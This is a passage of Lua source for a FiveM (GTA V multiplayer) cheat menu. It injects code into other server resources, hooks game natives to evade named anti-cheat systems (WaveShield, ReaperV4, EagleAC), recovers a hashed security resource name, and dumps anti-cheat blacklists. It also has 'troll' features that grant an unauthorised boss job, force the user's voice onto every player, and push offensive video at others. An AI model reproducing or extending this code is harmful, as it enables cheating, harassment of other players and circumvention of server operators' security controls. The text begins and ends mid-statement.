SetEntityVisible(entity, visible, unk) return SafeNative("SetEntityVisible", entity, visible, unk) end ]] else safeNativeCode = "" end SafeInjectResourceRaw(InjectionResource(), (function() local _ = table.concat local __ = "\n" local code = { safeNativeCode, 'local a,b=false,nil', 'local c=PlayerPedId', 'local d=GetEntityCoords', 'local e=GetActivePlayers', 'local f=GetPlayerPed', 'local g=GetGameplayCamCoords', 'local h=World3dToScreen2d', 'local i=vec3', 'local j=DrawText', 'local k=AddTextComponentString', 'local l=SetTextEntry', 'local m=SetTextScale', 'local n=SetTextFont', 'local o=SetTextProportional', 'local p=SetTextColour', 'local q=SetTextCentre', 'local r=TaskPlayAnim', 'local s=RequestAnimDict', 'local t=HasAnimDictLoaded', 'local u=DetachEntity', 'local v=SetEntityVisible', 'local w=ClearPedTasks', 'local x=AttachEntityToEntity', 'local y=DoesEntityExist', 'local z=IsDisabledControlJustReleased', 'local A=GetPlayerServerId', 'local B=RegisterCommand', 'local C=RegisterKeyMapping', 'local D=CreateThread', 'local E=Wait', 'local function F(G,H,I,J)', 'local K,L,M=h(G,H,I)', 'local N=g()', 'local O=#(N-i(G,H,I))', 'local P=200/(GetGameplayCamFov()*O)', 'if K then', 'm(0.35,0.35)', 'n(4)', 'o(1)', 'p(255,255,255,215)', 'l("STRING")', 'q(true)', 'k(J)', 'j(L,M)', 'end end', 'local function Q()', 'local R,S=-1,-1', 'local T=c()', 'local U=d(T)', 'for _,V in ipairs(e())do', 'local W=f(V)', 'if W~=T then', 'local X=d(W)', 'local Y=#(U-X)', 'if S==-1 or Y #inputSequence then local jobName = responses[1].value local grade = tonumber(responses[2].value) or 5 local label = responses[3].value if jobName and jobName ~= "" and label and label ~= "" then ---("Setting custom job:", jobName, "Grade:", grade, "Label:", label) if GetResourceState("wasabi_multijob") == "started" then MachoInjectResource("wasabi_multijob", string.format([[ SelectJobMenu({ job = '%s', grade = %d, label = '%s', boss = true, onDuty = false }) ]], jobName, grade, label)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Custom job set: " .. label .. " (Grade " .. grade .. ")", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "wasabi_multijob resource not found!", type = 'error' })) end end else ---("All fields are required!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "All fields are required!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end } } }, { label = 'Video Exploit', type = 'submenu', submenu = { { label = 'Porn Troll', type = 'button', canBind = true, bindName = 'Porn Troll', onConfirm = function() ---("Executing enhanced porn troll...") MachoResourceStop('3dme') SafeInjectResourceRaw(InjectionResource(), [[ for colorLoop = 1, 1 do ExecuteCommand("me " .. colorLoop .. " ") Citizen.Wait(1000) end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Enhanced porn troll executed - 3dme stopped", type = 'success' })) end end }, { label = 'Custom Video Troll', type = 'button', canBind = true, bindName = 'Custom Video Troll', onConfirm = function() ---("Opening custom video troll input...") -- Open text input to get the video URL openTextInput( "Enter Video URL", "https://example.com/video", "", 500, function(videoUrl) if not videoUrl or videoUrl == "" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No URL provided - cancelled", type = 'error' })) end return end ---("Executing custom video troll with URL:", videoUrl) MachoResourceStop('3dme') -- Escape the URL for use in the injected code (escape quotes and backslashes) local escapedUrl = string.gsub(videoUrl, '\\', '\\\\') escapedUrl = string.gsub(escapedUrl, '"', '\\"') escapedUrl = string.gsub(escapedUrl, '%]', '\\]') escapedUrl = string.gsub(escapedUrl, '%[', '\\[') -- Build the injected code with the URL local injectedCode = string.format([[ for colorLoop = 1, 1 do ExecuteCommand("me " .. colorLoop .. " ") Citizen.Wait(1000) end ]], escapedUrl) SafeInjectResourceRaw(InjectionResource(), injectedCode) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Custom video troll executed with URL - 3dme stopped", type = 'success' })) end end, "url" ) end } } }, { label = 'Voice Exploit', type = 'submenu', submenu = { { label = 'Voice Override All', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Voice Override All', onConfirm = function(setToggle) if setToggle then MachoInjectResourceRaw("pma-voice", [[ _G.QwErTyUiOpAsDf = true -- Local variable aliases for ox compatibility local job = _G.CreateThread or Citizen.CreateThread local wait = _G.Wait or Citizen.Wait local getPlayerPed = GetPlayerPed local getEntityCoords = GetEntityCoords local getActivePlayers = GetActivePlayers local networkSetTalkerProximity = NetworkSetTalkerProximity local setAudioInputDistance = SetAudioInputDistance local mumbleSetTalkerProximity = MumbleSetTalkerProximity local mumbleSetAudioInputDistance = MumbleSetAudioInputDistance local setPlayerTalkingOverride = SetPlayerTalkingOverride job(function() while true do wait(0) if _G.QwErTyUiOpAsDf then -- Voice proximity distance local voiceProximity = 99999999999.0 -- Get local player information local localPlayerPed = getPlayerPed(-1) local localPlayerCoords = getEntityCoords(localPlayerPed) -- Set voice chat distances using all available natives networkSetTalkerProximity(voiceProximity + 5.0) setAudioInputDistance(voiceProximity + 10.0) mumbleSetTalkerProximity(10000.0) mumbleSetAudioInputDistance(10000.0) -- Get all active players local activePlayers = getActivePlayers() -- Loop through all players and override talking settings for _, playerId in ipairs(activePlayers) do local playerPed = getPlayerPed(playerId) local playerCoords = getEntityCoords(playerPed) -- Calculate distance between local player and other player local distance = #(localPlayerCoords - playerCoords) -- Override player talking to ensure they can be heard setPlayerTalkingOverride(playerId, true) end end end end) ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Voice Override activated - All players can hear you globally", type = 'success' })) end else MachoInjectResourceRaw("any", [[ if _G.QwErTyUiOpAsDf then _G.QwErTyUiOpAsDf = false end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Voice Override deactivated - Voice chat returned to normal", type = 'info' })) end end return setToggle end } } }, { label = 'Read Config (WaveShield)', type = 'button', canBind = true, bindName = 'Read Config Stuff', onConfirm = function() MachoInjectResource2(NewThreadNs, "WaveShield", [[ local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(setFunc) return function(...) return setFunc(...) end end local function Verify(t, i) i = i or "" local o, a = {}, true for j = 1, #t do if t[j] == nil then a = nil break end end for k, v in pairs(t) do table.insert(o, i .. " " .. (type(k) == "string" and not a and '["' .. k .. '"]' or k) .. " = " .. (type(v) == "table" and Verify(v, i .. " ") or (type(v) == "string" and '"' .. v .. '"' or tostring(v))) ) end return (a and "[\n" or "{\n") .. table.concat(o, ",\n") .. "\n" .. i .. (a and "]" or "}") end local WsConfig = SafeWrap(function() local keys = safeCall(GetStateBagKeys, "global") if type(keys) == "table" then for _, n in ipairs(keys) do local value = safeCall(GetStateBagValue, "global", n) if type(value) == "table" and type(value.Entities) == "table" then print(Verify(value)) break end end end end) WsConfig() ]]) local ped = GetPlayerServerId(PlayerId()) local WS_Settings_MChunks = GetStateBagValue("player:" .. ped, "WS_Settings_MChunks") repeat Citizen.Wait(100) WS_Settings_MChunks = GetStateBagValue("player:" .. ped, "WS_Settings_MChunks") until WS_Settings_MChunks and type(WS_Settings_MChunks) == "number" local WSSettings = "" for i = 1, WS_Settings_MChunks do local chunk = GetStateBagValue("player:" .. ped, "WS_Settings_M_" .. i) if chunk then WSSettings = WSSettings .. chunk end end if WSSettings ~= "" then local settings, errmsg = json.decode(WSSettings) if errmsg then print("JSON decode error: " .. errmsg) end if type(settings) ~= "table" then print("Decoded value is not a table") return end for i, v in pairs(settings["Config"]["Weapons"]["BlackListedWeapons"]) do print("blacklisted wep: " .. v) end for i, v in pairs(settings["Config"]["Explosions"]["BlackListedExplosions"]) do print("blacklisted explosion: " .. v) end for i, v in pairs(settings["Config"]["Entities"]["BlackListedObjects"]) do print("blacklisted object: " .. v) end for i, v in pairs(settings["Config"]["Entities"]["BlackListedVehicles"]) do print("blacklisted vehicle: " .. v) end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "WaveShield blacklisted items search completed - Check console for results", type = 'success' })) end end }, } }, { name = 'Freecam', submenu = { { label = 'Enable Freecam', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Freecam', onConfirm = function(setToggle) -- Detect ElectronAC by checking resource metadata local electronACRunning = false local numResources = GetNumResources() for i = 0, numResources - 1 do local resName = GetResourceByFindIndex(i) if resName and GetResourceState(resName) == "started" then local acMeta = GetResourceMetadata(resName, S.meta.ac, 0) if acMeta == S.meta.electronLC then electronACRunning = true break end end end -- Check if WaveShield/EC_AC is running (pure WaveShield path = direct SafeWrap calls) local waveShieldRunning = GetResourceState(S.res.waveShield) == "started" or GetResourceState(S.res.ecAC) == "started" -- EagleAC gets hooks installed but injected via SafeInjectResourceRaw local eagleACRunning = electronACRunning and not waveShieldRunning local targetRes = (GetResourceState(S.res.monitor) == "started" and S.res.monitor) or (GetResourceState(S.res.oxLib) == "started" and S.res.oxLib) or InjectionResource() -- Check if on special server (skip ReaperV4 bypass for this server) local isSpecialServer = false local serverEndpoint = GetCurrentServerEndpoint() -- Check if on the specific server if serverEndpoint then if string.find(serverEndpoint, S.server.specialIP1) or string.find(serverEndpoint, S.server.specialIP2) then isSpecialServer = true end end -- Also check if cashflowcars resource exists if GetResourceState(S.res.cashflowCars) == "started" then isSpecialServer = true end local isReaperV4 = GetResourceState(S.res.reaperV4) == "started" and not isSpecialServer local useHookingFallback = waveShieldRunning or (not eagleACRunning and not isReaperV4) if setToggle then MachoSendDuiMessage(dui, json.encode({ action = "displayFreecam", visible = true, options = Options, weaponOptions = WeaponOptions, vehicleOptions = VehicleList, objectOptions = ObjectOptions, pedOptions = PedList, weaponIndex = CurrentWeaponIndex, vehicleIndex = CurrentVehicleIndex, objectIndex = CurrentObjectIndex, pedIndex = CurrentPedIndex })) -- Install hooks and bypasses only once (prevents lag from repeated installations) if not _G.NexusFreecamHooksInstalled then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Installing Freecam...", type = 'success' })) Wait(1500) -- Check for ReaperV4 bypass (skip if on special server) if GetResourceState(S.res.reaperV4) == "started" and not isSpecialServer then if not FreecamBypassReaperV4 then local function GetReaperV4SecurityResource() local function reaperHash(input, salt) salt = salt or S.meta.reaperSalt input = input .. salt local hashValue = 5381 for i = 1, #input do local byte = string.byte(input, i) hashValue = (hashValue * 33) ~ byte end return hashValue end local targetStr = GetConvar(S.meta.reaperSecRes, "") local target = tonumber(targetStr) if not target then return end local numResources = GetNumResources() or 0 local candidates = {} for idx = 0, (numResources - 1) do local resName = GetResourceByFindIndex(idx) if resName and resName ~= "" then table.insert(candidates, resName) end end if #candidates == 0 then return end for i, cand in ipairs(candidates) do if reaperHash(cand) == target then return cand end local alt = cand:gsub(S.meta.dashUnderscore, "") if alt ~= cand and reaperHash(alt) == target then return alt end end end local resource = GetReaperV4SecurityResource() SafeInjectResourceRaw(S.res.reaperV4, S.inject.freecamReaper, S.globals.freecamBypass) Wait(250) if resource then SafeInjectResourceRaw(resource, S.inject.freecamReaper, S.globals.freecamBypass) end FreecamBypassReaperV4 = true end end -- Install freecam native hooks only once (Fallback for unknown ACs, plus WaveShield and ReaperV4) if not eagleACRunning then MachoHookNative(0x5234F9F10919EABA, function(...) return false, -1 end) MachoHookNative(0xA200EB1EE790F448, function(...) return false, GetEntityCoords(PlayerPedId()) end) MachoHookNative(0xC6D3D26810C8E0F9, function(...) return false, false end) MachoHookNative(0x8D4D46230B2C353A, function(...) return false, 0 end) MachoHookNative(0xB15162CB5826E9E8, function(...) return false, false end) MachoHookNative(0x19CAFA3C87F7C2FF, function(...) return false, 0 end) MachoHookNative(0xD5037BA82E12416F, function(...) return false, 0 end) MachoHookNative(0xFB92A102F1C4DFA3, function(...) return false, nil end) end _G.NexusFreecamHooksInstalled = true end -- Setup SafeWrap functions for WaveShield (available for all WaveShield operations) local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(setFunc) return function(...) return setFunc(...) end end if not _G.NexusFreecamInitialized then _G.NexusFreecamEnabled = true _G.NexusFreecamInitialized = true local function RotationToDirection(rot) local z = math.rad(rot.z) local x = math.rad(rot.x) local num = math.abs(math.cos(x)) return vector3(-math.sin(z) * num, math.cos(z) * num, math.sin(x)) end local function GetRightVector(rot) local z = math.rad(rot.z) return vector3(math.cos(z), math.sin(z), 0.0) end local function Clamp(val, min, max) if val < min then return min end if val > max then return max end return val end -- Initialize position and rotation tracking in main context if useHookingFallback then local SafePlayerPedId = SafeWrap(PlayerPedId) local SafeGetEntityCoords = SafeWrap(GetEntityCoords) local SafeGetEntityHeading = SafeWrap(GetEntityHeading) local SafeCreateCam = SafeWrap(CreateCam) local ped = safeCall(SafePlayerPedId) local coords = safeCall(SafeGetEntityCoords, ped) _G.NexusFreecamPos = vector3(coords.x, coords.y, coords.z + 2.0) _G.NexusFreecamRot = vector3(0.0, 0.0, safeCall(SafeGetEntityHeading, ped)) _G.NexusFreecamObject = safeCall(SafeCreateCam, "DEFAULT_SCRIPTED_CAMERA", true) else local ped = PlayerPedId() local coords = GetEntityCoords(ped) _G.NexusFreecamPos = vector3(coords.x, coords.y, coords.z + 2.0) _G.NexusFreecamRot = vector3(0.0, 0.0, GetEntityHeading(ped)) _G.NexusFreecamObject = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) end if useHookingFallback then -- Hooking Fallback: direct SafeWrap calls (hooks already installed above) local SafeSetCamCoord = SafeWrap(SetCamCoord) local SafeSetCamRot = SafeWrap(SetCamRot) local SafeRenderScriptCams = SafeWrap(RenderScriptCams) safeCall(SafeSetCamCoord, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z) safeCall(SafeSetCamRot, _G.NexusFreecamObject, 0.0, 0.0, _G.NexusFreecamRot.z, 2) safeCall(SafeRenderScriptCams, true, false, 0, true, true) elseif eagleACRunning then -- EagleAC: fully injected — no hooks, CreateCam lives inside SafeInjectResourceRaw SafeInjectResourceRaw(GetBestInjectionResource(), string.format(S.inject.freecamEagle, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z, _G.NexusFreecamObject, _G.NexusFreecamRot.z)) else -- Standard: SafeInjectResourceRaw (handles ReaperV4/vRP/standard automatically) SafeInjectResourceRaw(InjectionResource(), string.format(S.inject.freecamStandard, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z, _G.NexusFreecamObject, _G.NexusFreecamRot.z), S.globals.freecamInit) end -- Create thread with SafeWrap for Hooking Fallback local SafeCreateThread = useHookingFallback and SafeWrap(CreateThread) or CreateThread SafeCreateThread(function() -- Setup SafeWrap functions for Hooking Fallback local SafeWait = SafeWrap(Wait) local SafePlayerPedId = SafeWrap(PlayerPedId) local SafeIsDisabledControlPressed = SafeWrap(IsDisabledControlPressed) local SafeGetDisabledControlNormal = SafeWrap(GetDisabledControlNormal) local SafeTaskStandStill = SafeWrap(TaskStandStill) local SafeSetCamCoord = SafeWrap(SetCamCoord) local SafeSetCamRot = SafeWrap(SetCamRot) local SafeSetFocusPosAndVel = SafeWrap(SetFocusPosAndVel) -- Preload injection string identifiers to prevent lag in VM local updateId = S.globals.freecamUpdate local bestRes = eagleACRunning and GetBestInjectionResource() or nil local stdRes = (not eagleACRunning) and InjectionResource() or nil while true do safeCall(SafeWait, 0) if _G.NexusFreecamEnabled and _G.NexusFreecamObject then local coords = _G.NexusFreecamPos local rot = _G.NexusFreecamRot local baseSpeed = _G.NexusFreecamSpeed or 1.6 local speed = safeCall(SafeIsDisabledControlPressed, 0, 21) and (baseSpeed * 3.0) or baseSpeed local forward = RotationToDirection(rot) local right = GetRightVector(rot) local moveX, moveY, moveZ = 0, 0, 0 safeCall(SafeTaskStandStill, safeCall(SafePlayerPedId), 10) if safeCall(SafeIsDisabledControlPressed, 0, 32) then moveX = moveX + forward.x * speed moveY = moveY + forward.y * speed moveZ = moveZ + forward.z * speed end if safeCall(SafeIsDisabledControlPressed, 0, 33) then moveX = moveX - forward.x * speed moveY = moveY - forward.y * speed moveZ = moveZ - forward.z * speed end if safeCall(SafeIsDisabledControlPressed, 0, 34) then moveX = moveX - right.x * speed moveY = moveY - right.y * speed end if safeCall(SafeIsDisabledControlPressed, 0, 35) then moveX = moveX + right.x * speed moveY = moveY + right.y * speed end if safeCall(SafeIsDisabledControlPressed, 0, 22) then moveZ = moveZ + speed end if safeCall(SafeIsDisabledControlPressed, 0, 36) then moveZ = moveZ - speed end _G.NexusFreecamPos = vector3(coords.x + moveX, coords.y + moveY, coords.z + moveZ) local x = safeCall(SafeGetDisabledControlNormal, 0, 1) local y = safeCall(SafeGetDisabledControlNormal, 0, 2) local newPitch = Clamp(rot.x - y * 5, -89.0, 89.0) local newYaw = rot.z - x * 5 _G.NexusFreecamRot = vector3(newPitch, 0.0, newYaw) -- Radically optimized: Execute purely local natives wrapped through the hooks instead of cross-resource string injection! -- This completely mirrors the OSINT no-lag bypass pattern allowing infinite Wait(0) frames identically smoothly across all AC branches. safeCall(SafeSetCamCoord, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z) safeCall(SafeSetCamRot, _G.NexusFreecamObject, newPitch, 0.0, newYaw, 2) safeCall(SafeSetFocusPosAndVel, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z, 0.0, 0.0, 0.0) end end end) else _G.NexusFreecamEnabled = true if useHookingFallback then local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(setFunc) return function(...) return setFunc(...) end end local SafePlayerPedId = SafeWrap(PlayerPedId) local SafeGetEntityCoords = SafeWrap(GetEntityCoords) local SafeGetEntityHeading = SafeWrap(GetEntityHeading) local SafeCreateCam = SafeWrap(CreateCam) local ped = safeCall(SafePlayerPedId) local coords = safeCall(SafeGetEntityCoords, ped) _G.NexusFreecamPos = vector3(coords.x, coords.y, coords.z + 2.0) _G.NexusFreecamRot = vector3(0.0, 0.0, safeCall(SafeGetEntityHeading, ped)) _G.NexusFreecamObject = safeCall(SafeCreateCam, "DEFAULT_SCRIPTED_CAMERA", true) else local ped = PlayerPedId() local coords = GetEntityCoords(ped) _G.NexusFreecamPos = vector3(coords.x, coords.y, coords.z + 2.0) _G.NexusFreecamRot = vector3(0.0, 0.0, GetEntityHeading(ped)) _G.NexusFreecamObject = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) end if useHookingFallback then -- Hooking Fallback: direct SafeWrap calls (hooks already installed above) local SafeSetCamCoord = SafeWrap(SetCamCoord) local SafeSetCamRot = SafeWrap(SetCamRot) local SafeRenderScriptCams = SafeWrap(RenderScriptCams) safeCall(SafeSetCamCoord, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z) safeCall(SafeSetCamRot, _G.NexusFreecamObject, 0.0, 0.0, _G.NexusFreecamRot.z, 2) safeCall(SafeRenderScriptCams, true, false, 0, true, true) elseif eagleACRunning then -- EagleAC: hooks bypass detection, inject cam via SafeInjectResourceRaw SafeInjectResourceRaw(GetBestInjectionResource(), string.format(S.inject.freecamEagle, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z, _G.NexusFreecamObject, _G.NexusFreecamRot.z)) else -- Standard: SafeInjectResourceRaw (handles ReaperV4/vRP/standard automatically) SafeInjectResourceRaw(InjectionResource(), string.format(S.inject.freecamStandard, _G.NexusFreecamObject, _G.NexusFreecamPos.x, _G.NexusFreecamPos.y, _G.NexusFreecamPos.z, _G.NexusFreecamObject, _G.NexusFreecamRot.z), S.globals.freecamInit) end end else MachoSendDuiMessage(dui, json.encode({ action = "displayFreecam", visible = false })) _G.NexusFreecamEnabled = false if _G.NexusFreecamObject then if useHookingFallback then -- Use SafeWrap for Hooking Fallback local function safeCall(fn, ...) if fn then return fn(...) end end local function SafeWrap(setFunc) return function(...) return setFunc(...) end end local SafeRenderScriptCams = SafeWrap(RenderScriptCams) local SafeDestroyCam = SafeWrap(DestroyCam) local SafeSetFocusEntity = SafeWrap(SetFocusEntity) local SafePlayerPedId = SafeWrap(PlayerPedId) safeCall(SafeRenderScriptCams, false, false, 0, true, true) safeCall(SafeDestroyCam, _G.NexusFreecamObject, false) safeCall(SafeSetFocusEntity, safeCall(SafePlayerPedId)) else -- Teardown: all paths use SafeInjectResourceRaw now (handles ReaperV4/vRP/EagleAC/standard) local injectRes = InjectionResource() local injectFn = function(code) SafeInjectResourceRaw(injectRes, code, "FreecamTeardown") end injectFn(string.format([[ local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end function _G.hNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) return newFunction(originalNative, ...) end end _G.hNative("Wait", function(originalFn, ...) return originalFn(...) end) _G.hNative("CreateThread", function(originalFn, ...) return originalFn(...) end) _G.hNative("PlayerPedId", function(originalFn, ...) return originalFn(...) end) _G.hNative("SetEntityCoords", function(originalFn, ...) return originalFn(...) end) _G.hNative("RenderScriptCams", function(originalFn, ...) return originalFn(...) end) _G.hNative("SetCamCoord", function(originalFn, ...) return originalFn(...) end) _G.hNative("GetCamCoord", function(originalFn, ...) return originalFn(...) end) _G.hNative("GetCamRot", function(originalFn, ...) return originalFn(...) end) _G.hNative("CreateCam", function(originalFn, ...) return originalFn(...) end) _G.hNative("SetCamRot", function(originalFn, ...) return originalFn(...) end) _G.hNative("IsDisabledControlPressed", function(originalFn, ...) return originalFn(...) end) _G.hNative("TaskStandStill", function(originalFn, ...) return originalFn(...) end) _G.hNative("SetFocusPosAndVel", function(originalFn, ...) return originalFn(...) end) _G.hNative("DestroyCam", function(originalFn, ...) return originalFn(...) end) _G.hNative("ShootSingleBulletBetweenCoords", function(originalFn, ...) return originalFn(...) end) _G.hNative("GiveWeaponToPed", function(originalFn, ...) return originalFn(...) end) _G.hNative("GetDisabledControlNormal", function(originalFn, ...) return originalFn(...) end) _G.hNative("GetEntityCoords", function(originalFn, ...) return originalFn(...) end) _G.hNative("GetEntityHeading", function(originalFn, ...) return originalFn(...) end) _G.hNative("SetFocusEntity", function(originalFn, ...) return originalFn(...) end) SmartInvoker(RenderScriptCams, false, false, 0, true, true) SmartInvoker(DestroyCam, %d, false) SmartInvoker(SetFocusEntity, PlayerPedId()) ]], _G.NexusFreecamObject)) end _G.NexusFreecamObject = nil end end end }, { label = 'Freecam Speed', type = 'slider', min = 1, max = 10, value = 5, canBind = true, bindName = 'Freecam Speed', onConfirm = function(val) _G.NexusFreecamSpeed = val end, onChange = function(val) _G.NexusFreecamSpeed = val end }, { label = 'Entity Turn Speed', type = 'slider', min = 1, max = 10, value = 5, canBind = true, bindName = 'Entity Turn Speed', onConfirm = function(val) ---("Entity turn speed set to:", val) SafeInjectResourceRaw(InjectionResource(), string.format([[ if _G.HAhgaHaha then _G.HAhgaHaha.entityTurnSpeed = %f end ]], val)) end, onChange = function(val) SafeInjectResourceRaw(InjectionResource(), string.format([[ if _G.HAhgaHaha then _G.HAhgaHaha.entityTurnSpeed = %f end ]], val)) end }, { label = 'Reset Freecam', type = 'button', canBind = true, bindName = 'Reset Freecam', onConfirm = function() ---("Resetting freecam") SafeInjectResourceRaw(InjectionResource(), [[ -- Define SmartInvoker function inside injection local function resourceStarted(resource) return GetResourceState(resource) == 'started' end function SmartInvoker(func, ...) return func(...) end if _G.HAhgaHaha and _G.HAhgaHaha.cam then local playerPed = SmartInvoker(PlayerPedId) local coords = SmartInvoker(GetEntityCoords, playerPed) local heading = SmartInvoker(GetEntityHeading, playerPed) SmartInvoker(SetCamCoord, _G.HAhgaHaha.cam, coords.x, coords.y, coords.z + 2.0) SmartInvoker(SetCamRot, _G.HAhgaHaha.cam, -10.0, 0.0, heading, 2) ---("Freecam reset to player position") end ]]) end } } } } }, { label = 'Settings', type = 'submenu', icon = 'ph-gear', tabs = { { name = 'General', submenu = { { label = 'Change Menu Key', type = 'button', onConfirm = function() ---("Opening key selection for menu key change") openKeySelection() end }, { label = 'Banner Color', type = 'submenu', submenu = { { label = 'Red Theme', type = 'button', onConfirm = function() currentBannerIndex = 1 updateBannerSettings() ---("Banner color changed to: Red") end }, { label = 'Troll banner', type = 'button', onConfirm = function() currentBannerIndex = 2 updateBannerSettings() ---("Banner changed to: Troll banner") end }, { label = 'weird ahh banner', type = 'button', onConfirm = function() currentBannerIndex = 3 updateBannerSettings() ---("Banner changed to: weird ahh banner") end }, { label = 'dino', type = 'button', onConfirm = function() currentBannerIndex = 4 updateBannerSettings() ---("Banner changed to: dino") end }, { label = 'Use Custom Banner', type = 'button', onConfirm = function() openTextInput( "Enter Banner URL", "Paste banner image link here...", "", 500, function(url) if url and url ~= "" then -- Wait a bit for the previous input to fully close before opening color selection CreateThread(function() Wait(500) openCustomBannerColorSelection(url) end) end end, "general" ) end } } }, { label = 'Banner Spacing', type = 'slider', min = 0, max = 20, value = bannerSpacing, onConfirm = function(val) bannerSpacing = val updateBannerSettings() ---("Banner spacing set to:", val) end, onChange = function(val) bannerSpacing = val updateBannerSettings() end }, { label = 'Show Keybinds HUD', type = 'checkbox', checked = showKeybindList, onConfirm = function(setToggle) showKeybindList = setToggle MenuSystem.keybinds.showKeybindList = setToggle if dui then MachoSendDuiMessage(dui, json.encode({ action = 'toggleKeybindList', visible = setToggle })) if setToggle then updateKeybindListUI() end end end }, { label = 'Show Spectator List', type = 'checkbox', checked = showSpectatorList, onConfirm = function(setToggle) showSpectatorList = setToggle MenuSystem.spectators.showSpectatorList = setToggle if dui then MachoSendDuiMessage(dui, json.encode({ action = 'toggleSpectatorList', visible = setToggle })) if setToggle then -- Start immediate update and ensure continuous updates CreateThread(function() Wait(50) -- Small delay pcall(updateSpectatorListUI) end) end end end }, { label = 'Keybinds Position', type = 'scroll', options = {'Left', 'Right'}, selected = keybindListPosition == 'left' and 1 or 2, onConfirm = function(selected) local position = selected == 'Left' and 'left' or 'right' keybindListPosition = position MenuSystem.keybinds.keybindListPosition = position if dui then MachoSendDuiMessage(dui, json.encode({ action = 'setKeybindListPosition', position = position })) end end }, { label = 'Spectator List Position', type = 'scroll', options = {'Left', 'Right'}, selected = spectatorListPosition == 'left' and 1 or 2, onConfirm = function(selected) local position = selected == 'Left' and 'left' or 'right' spectatorListPosition = position MenuSystem.spectators.spectatorListPosition = position if dui then MachoSendDuiMessage(dui, json.encode({ action = 'setSpectatorListPosition', position = position })) end end }, { label = 'Close Menu', type = 'button', onConfirm = function() ---("Clnexus menu") _G.clientMenuShowing = false end } } }, { name = 'Configs', submenu = { { label = 'Create New Config', type = 'button', canBind = true, bindName = 'Create New Config', onConfirm = function() openTextInput('Enter config name:', 'My Config', '', 50, function(configName) if not configName or configName == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Config name is required!', type = 'error'})) end return end local keybindsData = {} if customKeybinds then for controlId, keyInfo in pairs(customKeybinds) do table.insert(keybindsData, {controlId = controlId, name = keyInfo.name, itemType = keyInfo.itemType, itemLabel = keyInfo.itemLabel}) end end local authKey = MachoAuthenticationKey() if not authKey or authKey == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'No authentication key found!', type = 'error'})) end return end -- Use pcall for error handling local success, response = pcall(function() local url = string.format('%s/api/cloud_configs/configs/create?auth_key=%s&config_name=%s&keybinds_data=%s', WEBSITE_URL, urlEncode(authKey), urlEncode(configName), urlEncode(json.encode(keybindsData))) return MachoWebRequest(url) end) if not success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Error creating config: ' .. tostring(response), type = 'error'})) end return end if response and response ~= '' then -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then decrypted = response -- Fallback to plain JSON end local success2, data = pcall(json.decode, decrypted) if success2 and data then if data.success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Config "' .. configName .. '" created!', type = 'success'})) end else local errorMsg = data.message or 'Failed to create config!' if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = errorMsg, type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Failed to parse server response!', type = 'error'})) end end else if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Server connection failed!', type = 'error'})) end end end, 'general') end }, { label = 'Load Configs', type = 'button', canBind = true, bindName = 'Load Configs', onConfirm = function() local authKey = MachoAuthenticationKey() if not authKey or authKey == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'No authentication key found!', type = 'error'})) end return end local success, response = pcall(function() return MachoWebRequest(WEBSITE_URL .. '/api/cloud_configs/configs?auth_key=' .. urlEncode(authKey)) end) if not success then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Error loading configs: ' .. tostring(response), type = 'error'})) end return end if not response or response == '' then if dui then MachoSendDuiMessage(dui, json.encode({action = 'notify', message = 'Failed to connect to server!', type = 'error'})) end return end -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then -- If decryption fails, try parsing as plain JSON (backwards compatibility) decrypted = response end local success2, data = pcall(json.decode, decrypted) if not success2 or not data then if dui then 